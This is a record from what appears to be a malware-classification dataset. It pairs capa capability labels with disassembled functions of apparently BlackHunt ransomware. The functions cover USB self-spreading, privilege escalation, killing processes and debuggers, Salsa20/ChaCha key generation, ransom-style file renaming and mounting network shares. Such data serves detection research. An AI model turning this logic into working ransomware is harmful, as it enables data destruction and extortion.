joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403570
Capabilities:
Check if file exists
Copy file
Enumerate files on windows
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x46c
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x479b08], 0
push ebx
push esi
mov ebx, ecx
push edi
mov dword [ebp - 0x468], ebx
je 0x4035a4
push str.spread
call fcn.00401d20
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
nop word [eax + eax]
push 0x10040
push 8
push dword [0x47a330]
call edi
mov esi, eax
test esi, esi
je 0x4035b0
push 0x104
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x44586c
push esi
call edi
lea eax, [ebp - 0x460]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x464], eax
cmp eax, 0xffffffff
je 0x4036fe
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpW]
push 0x445874
lea eax, [ebp - 0x434]
push eax
call ebx
test eax, eax
je 0x4036c1
push 0x445878
lea eax, [ebp - 0x434]
push eax
call ebx
test eax, eax
je 0x4036c1
mov eax, dword [ebp - 0x460]
and eax, 0x410
cmp eax, 0x10
jne 0x4036c1
push dword [ebp - 0x468]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x445880
push esi
call edi
lea eax, [ebp - 0x434]
push eax
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4036c1
xor eax, 6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x4036b3
push str.____________________________________________________________.exe
push esi
call edi
push 0
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
test eax, eax
je 0x4036ac
push str.payload_copy__s
jmp 0x4036b9
push str.payload_copy_Failed__s
jmp 0x4036b9
push esi
push str.set_attribute_Failed__s
call fcn.00401d20
add esp, 8
lea eax, [ebp - 0x460]
push eax
push dword [ebp - 0x464]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x403612
push dword [ebp - 0x464]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 0
push dword [0x47a330]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, 1
jmp 0x403715
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push str.Removable_Cant_FindFirstFileW_path_:__s____lu
call fcn.00401d20
add esp, 0xc
xor esi, esi
cmp dword [0x479b08], 0
je 0x40372b
push str.return_spread
call fcn.00401d20
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
Function at 0x403740
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x284
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x479b08], 0
push ebx
push esi
push edi
je 0x40376c
push str.hidden_partitions
call fcn.00401d20
add esp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
xor edi, edi
mov dword [ebp - 0x214], edi
mov esi, 0x463760
nop
push dword [esi]
call ebx
cmp eax, 1
jne 0x403793
mov eax, dword [esi]
mov dword [ebp + edi*4 - 0x280], eax
inc edi
add esi, 4
cmp esi, 0x4637c8
jl 0x403780
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
xor eax, eax
mov word [ebp - 0x210], ax
nop dword [eax]
push 0x10040
push 8
push dword [0x47a330]
call esi
mov ebx, eax
test ebx, ebx
je 0x4037b0
nop word [eax + eax]
push 0x10040
push 8
push dword [0x47a330]
call esi
mov dword [ebp - 0x218], eax
test eax, eax
je 0x4037d0
push 0x8000
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4038b0
test edi, edi
je 0x40385c
lea eax, [ebp - 0x214]
push eax
push 0x78
lea eax, [ebp - 0x210]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x40383c
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 3
jne 0x40383c
xor eax, eax
mov word [ebp - 0x210], ax
jmp 0x40384b
dec edi
push ebx
push dword [ebp + edi*4 - 0x280]
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0x8000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x403800
push esi
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
push dword [ebp - 0x218]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push dword [0x47a330]
call esi
push ebx
push 0
push dword [0x47a330]
call esi
cmp dword [0x479b08], 0
je 0x40389a
push str.return_hidden_partitions
call fcn.00401d20
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.FindFirstVolumeW_ERROR___lu
call fcn.00401d20
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
or eax, 0xffffffff
pop edi
pop esi
pop ebx
call fcn.0040a2df
mov esp, ebp
pop ebp
ret

Function at 0x4039c0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [0x479b08], 0
push esi
je 0x4039dd
push str.SetPrivilegeEx
call fcn.00401d20
add esp, 4
mov dword [ebp - 0x1c], str.SeDebugPrivilege
xor esi, esi
mov dword [ebp - 0x18], str.SeRestorePrivilege
mov dword [ebp - 0x14], str.SeBackupPrivilege
mov dword [ebp - 0x10], str.SeTakeOwnershipPrivilege
mov dword [ebp - 0xc], str.SeAuditPrivilege
mov dword [ebp - 8], str.SeSecurityPrivilege
mov dword [ebp - 4], str.SeIncreaseBasePriorityPrivilege
mov ecx, dword [ebp + esi*4 - 0x1c]
call fcn.004038e0
inc esi
cmp esi, 7
jb 0x403a10
cmp dword [0x479b08], 0
je 0x403a35
push str.return_SetPrivilegeEx
call fcn.00401d20
add esp, 4
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4056e0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x479b08], 0
push ebx
push esi
push edi
je 0x40570c
push str.AutoKillProcess
call fcn.00401d20
add esp, 4
push 0x41
push str.Count_proccess_:__d
call fcn.00401d20
add esp, 8
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x238], 0x22c
lea eax, [ebp - 0x238]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4057e0
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
nop dword [eax]
mov esi, 0x443428
push dword [esi]
lea eax, [ebp - 0x214]
push eax
call edi
test eax, eax
jne 0x405771
add esi, 4
cmp esi, 0x44352c
jle 0x405755
jmp 0x4057ab
push dword [ebp - 0x230]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4057ab
lea eax, [ebp - 0x214]
push eax
push str.kill_proccess_:__s
call fcn.00401d20
add esp, 8
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0x4433a0
push dword [esi]
lea eax, [ebp - 0x214]
push eax
call edi
test eax, eax
jne 0x40580e
add esi, 4
cmp esi, 0x443424
jle 0x4057b0
lea eax, [ebp - 0x238]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x405750
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x479b08], 0
je 0x4057fd
push str.return_AutoKillProcess
call fcn.00401d20
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x214]
push eax
push str.Debugger_process_Found__s
call fcn.00401d20
add esp, 8
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4064f0
Capabilities:
Enumerate files on windows
Enumerate files recursively
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 8], eax
inc dword [0x478104]
cmp dword [0x479b08], 0
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x260], eax
je 0x40652c
push eax
push str.Rename_Files_:__s
call fcn.00401d20
add esp, 8
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x3c4
push 8
push dword [0x47a330]
call ebx
mov edi, eax
test edi, edi
je 0x406532
nop word [eax + eax]
push 0x3c4
push 8
push dword [0x47a330]
call ebx
mov esi, eax
test esi, esi
je 0x406550
mov ebx, dword [ebp - 0x260]
mov ecx, ebx
call fcn.00405cd0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x44586c
push edi
call ebx
lea eax, [ebp - 0x25c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x264], eax
cmp eax, 0xffffffff
je 0x4066f7
nop word [eax + eax]
push 0x445874
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4066ce
push 0x445878
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4066ce
mov eax, dword [ebp - 0x25c]
test eax, 0x400
jne 0x4066ce
test al, 0x10
je 0x406643
lea ecx, [ebp - 0x230]
call fcn.00405bc0
test eax, eax
je 0x406635
push dword [ebp - 0x260]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x445880
push edi
call ebx
lea eax, [ebp - 0x230]
push eax
push edi
call ebx
push edi
call fcn.004064f0
add esp, 4
jmp 0x4066ce
mov eax, dword [ebp - 0x25c]
test al, 0x10
jne 0x4066ce
lea ecx, [ebp - 0x230]
call fcn.00405ab0
test eax, eax
je 0x4066ce
push dword [ebp - 0x260]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x445880
push edi
call ebx
lea eax, [ebp - 0x230]
push eax
push edi
call ebx
mov ecx, edi
call fcn.00406760
test eax, eax
je 0x4066ce
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x451ca4
push esi
call ebx
push 0x46f438
push esi
call ebx
push 0x451cac
push esi
call ebx
push str.Loxoclash_gmail.com
push esi
call ebx
push str._.Hunt2
push esi
call ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x4066ce
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push edi
push str.Cant_rename_file__s__to___s_GetLastError___lu
call fcn.00401d20
add esp, 0x10
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0x264]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4065b0
push dword [ebp - 0x264]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x406711
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x260]
push str.Cant_FindFirstFileW_path_:__s____lu
call fcn.00401d20
add esp, 0xc
dec dword [0x478104]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push dword [0x47a330]
call esi
push edi
push 0
push dword [0x47a330]
call esi
cmp dword [0x479b08], 0
je 0x406749
push str.return_FINDFILES
call fcn.00401d20
add esp, 4
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
Function at 0x406760
Capabilities:
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x479b08], 0
push esi
push edi
mov edi, ecx
je 0x40678d
push str.IsEncrypt
call fcn.00401d20
add esp, 4
push 0x80
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
push esi
push 3
push esi
push esi
push closesocket
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x406822
push 2
push esi
push 0xffffffffffffffff
push 0xfffffeec
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x40681b
mov eax, dword [0x451d68]
movq xmm0, qword [str._BlackHunt_]
push esi
mov dword [ebp - 0x118], eax
lea eax, [ebp - 8]
push eax
push 0x114
lea eax, [ebp - 0x120]
movq qword [ebp - 0x120], xmm0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40681b
mov edx, 0x100
lea ecx, [ebp - 0x114]
call fcn.00407070
cmp eax, dword [ebp - 0x14]
mov ecx, 1
cmove esi, ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x479b08], 0
je 0x406838
push str.return_IsEncrypt
call fcn.00401d20
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
Function at 0x406850
Capabilities:
Encrypt data using salsa20 or chacha
Encrypt or decrypt via wincrypt
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x479b08], 0
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], eax
je 0x406887
push str.GenKey
call fcn.00401d20
add esp, 4
lea esi, [edi + 0x68]
mov dword [ebp - 8], 0x40
push esi
push 0x20
push ebx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x40696f
lea eax, [edi + 0x48]
push eax
push 0x20
push ebx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x40696f
mov ecx, 0x40
lea eax, [edi + 8]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4068c0
mov edx, dword [ebp - 0xc]
mov ecx, esi
push 0x100
mov eax, dword [ecx]
mov dword [edi + 0x18], eax
mov eax, dword [ecx + 4]
mov dword [edi + 0x1c], eax
mov eax, dword [ecx + 8]
mov dword [edi + 0x20], eax
mov eax, dword [ecx + 0xc]
mov dword [edi + 0x24], eax
mov eax, dword [ecx + 0x10]
mov dword [edi + 0x28], eax
mov eax, dword [ecx + 0x14]
mov dword [edi + 0x2c], eax
mov eax, dword [ecx + 0x18]
mov dword [edi + 0x30], eax
mov eax, dword [ecx + 0x1c]
lea ecx, [ebp - 8]
mov dword [edi + 0x34], eax
mov dword [edi + 8], 0x61707865
mov dword [edi + 0xc], 0x3320646e
mov dword [edi + 0x10], 0x79622d32
mov dword [edi + 0x14], 0x6b206574
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 0
mov eax, dword [edi + 0x48]
mov dword [edi + 0x40], eax
mov eax, dword [edi + 0x4c]
mov dword [edi + 0x44], eax
lea eax, [edx + 0xc]
movups xmm0, xmmword [esi]
push ecx
push eax
movups xmmword [eax], xmm0
push 0
movups xmm0, xmmword [esi + 0x10]
push 1
push 0
push dword [ebp - 0x10]
movups xmmword [eax + 0x10], xmm0
movups xmm0, xmmword [edi + 0x48]
movups xmmword [edx + 0x2c], xmm0
movups xmm0, xmmword [edi + 0x58]
movups xmmword [edx + 0x3c], xmm0
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov eax, 0x20
mov byte [esi], 0
lea esi, [esi + 1]
sub eax, 1
jne 0x406974
mov ecx, 0x20
lea eax, [edi + 0x48]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x406987
cmp dword [0x479b08], ecx
je 0x4069a7
push str.return_GenKey
call fcn.00401d20
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
Function at 0x407070
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
push edi
mov edi, edx
or eax, 0xffffffff
xor esi, esi
mov ebx, ecx
test edi, edi
je 0x407117
movzx edx, byte [esi + ebx]
inc esi
xor eax, edx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
cmp esi, edi
jb 0x407084
pop edi
pop esi
not eax
pop ebx
ret
Function at 0x407120
Capabilities:
Create restart manager session
Enumerate processes that use resource
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x479b08], 0
push ebx
push esi
push edi
mov dword [ebp - 0x64], ecx
je 0x40714c
push str.KillFileOwner
call fcn.00401d20
add esp, 4
lea eax, [ebp - 0x50]
mov dword [ebp - 0x58], 0
push eax
push 0
lea eax, [ebp - 0x58]
mov dword [ebp - 0x5c], 0
xor bl, bl
mov dword [ebp - 0x60], 0
push eax
mov dword [ebp - 0x54], 0
mov byte [ebp - 0x65], bl
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x4072dc
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x64]
push eax
push 1
push dword [ebp - 0x58]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x4072d3
mov esi, dword [sym.imp.RstrtMgr.DLL_RmGetList]
lea eax, [ebp - 0x5c]
push eax
push 0
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x60]
push eax
push dword [ebp - 0x58]
call esi
cmp eax, 0xea
jne 0x4072d3
imul ecx, dword [ebp - 0x60], 0x29c
call fcn.004056b0
mov edi, eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x5c]
push eax
push edi
lea eax, [ebp - 0x54]
mov dword [ebp - 0x74], edi
push eax
lea eax, [ebp - 0x60]
push eax
push dword [ebp - 0x58]
call esi
test eax, eax
jne 0x4072c4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [ebp - 0x54]
xor edx, edx
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x70], edx
test ecx, ecx
je 0x4072c4
nop
mov esi, dword [edi]
cmp esi, eax
je 0x4072ac
cmp esi, 4
je 0x4072ac
mov eax, dword [edi + 0x28c]
cmp eax, 4
je 0x4072a9
cmp eax, 0x3e8
je 0x4072a9
cmp dword [0x479b08], 0
je 0x40724b
push str.PIDKillProcess
call fcn.00401d20
add esp, 4
push esi
push 0
push 0x100001
xor bl, bl
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40728a
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x4e20
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
movzx ebx, bl
mov eax, 1
cmove ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x479b08], 0
je 0x4072a0
push str.return_PIDKillProcess
call fcn.00401d20
add esp, 4
add byte [ebp - 0x65], bl
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x6c]
inc edx
add edi, 0x29c
mov dword [ebp - 0x70], edx
cmp edx, ecx
jb 0x407210
mov bl, byte [ebp - 0x65]
mov edi, dword [ebp - 0x74]
push edi
push 0
push dword [0x47a330]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0x58]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
cmp dword [0x479b08], 0
je 0x4072f2
push str.return_KillFileOwner
call fcn.00401d20
add esp, 4
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
Function at 0x407420
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x479b08], 0
push ebx
push esi
push edi
mov esi, ecx
je 0x40743f
push str.AccessToFile
call fcn.00401d20
add esp, 4
push 0x80
xor ebx, ebx
push esi
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push 3
push ebx
push ebx
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4074da
nop dword [eax]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
jne 0x407495
cmp dword [ebp - 4], 1
je 0x40750a
mov ecx, esi
call fcn.00407120
mov dword [ebp - 4], 1
jmp 0x4074b1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40750a
cmp ebx, 1
je 0x40750a
mov ecx, esi
call fcn.00407310
mov ebx, 1
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x407470
mov esi, 1
cmp edi, 0xffffffff
je 0x4074eb
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x479b08], 0
je 0x407501
push str.return_AccessToFile
call fcn.00401d20
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor esi, esi
jmp 0x4074df
Function at 0x407fb0
Capabilities:
Enumerate network shares
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x479b08], 0
push ebx
push esi
push edi
mov dword [ebp - 0x14c], ecx
je 0x407fe8
push str.EnumShares
call fcn.00401d20
mov ecx, dword [ebp - 0x14c]
add esp, 4
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x140], 0
nop word [eax + eax]
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x13c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x148]
push eax
push 1
push ecx
call dword [sym.imp.NETAPI32.dll_NetShareEnum]
mov dword [ebp - 0x154], eax
test eax, eax
je 0x40804c
cmp eax, 0xea
jne 0x40819c
cmp dword [ebp - 0x13c], 1
mov ebx, dword [ebp - 0x148]
mov dword [ebp - 0x150], 1
jb 0x40817f
nop dword [eax]
mov eax, dword [ebx + 4]
test eax, eax
je 0x408082
cmp eax, 0x80000000
jne 0x40815d
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 2
jle 0x40815d
push str.ADMIN_
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x40815d
cmp dword [ebx + 4], 0
jne 0x40815d
mov esi, 0x46d0c8
mov edi, dword [esi]
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
je 0x4080d5
add esi, 4
cmp esi, 0x46d130
jne 0x4080b7
jmp 0x40815d
push str.net_use
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x138]
push edi
push eax
call esi
push 0x44f68c
lea eax, [ebp - 0x138]
push eax
call esi
push dword [ebp - 0x14c]
lea eax, [ebp - 0x138]
push eax
call esi
push 0x445880
lea eax, [ebp - 0x138]
push eax
call esi
push dword [ebx]
lea eax, [ebp - 0x138]
push eax
call esi
push 0x445880
lea eax, [ebp - 0x138]
push eax
call esi
push edi
push dword [ebx]
push dword [ebp - 0x14c]
push str.Server_IP_:__lu_____Share_Address_:__lu_____Mounted_:__lu
call fcn.00401d20
lea eax, [ebp - 0x138]
push eax
call fcn.00426c59
add esp, 0x14
mov eax, dword [ebp - 0x150]
add ebx, 0xc
inc eax
mov dword [ebp - 0x150], eax
cmp eax, dword [ebp - 0x13c]
jbe 0x408070
mov ebx, dword [ebp - 0x148]
push ebx
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
cmp dword [ebp - 0x154], 0xea
mov ecx, dword [ebp - 0x14c]
je 0x408010
cmp dword [0x479b08], 0
je 0x4081b2
push str.return_EnumShares
call fcn.00401d20
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a2df
mov esp, ebp
pop ebp
ret

Function at 0x40cb7b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x42f96a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042f2d8

Function at 0x42f975
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042f513
Function at 0x4027cd
Capabilities:
Get common file path
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1400
call fcn.00408dd0
mov eax, dword [0x869d78]
mov ecx, dword [0x868cc8]
push esi
shr eax, 3
xor esi, esi
cmp eax, esi
jbe 0x4028a2
push ebx
push edi
mov edi, ecx
mov ebx, eax
cmp dword [0x869d78], 0x959
jne 0x402890
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SleepEx]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
lea eax, [ebp - 0x800]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push esi
call dword [sym.imp.KERNEL32.dll_HeapLock]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
lea eax, [ebp - 0xc00]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
lea eax, [ebp - 0x1400]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
call fcn.0040262e
add edi, 8
dec ebx
jne 0x4027f9
pop edi
pop ebx
pop esi
leave
ret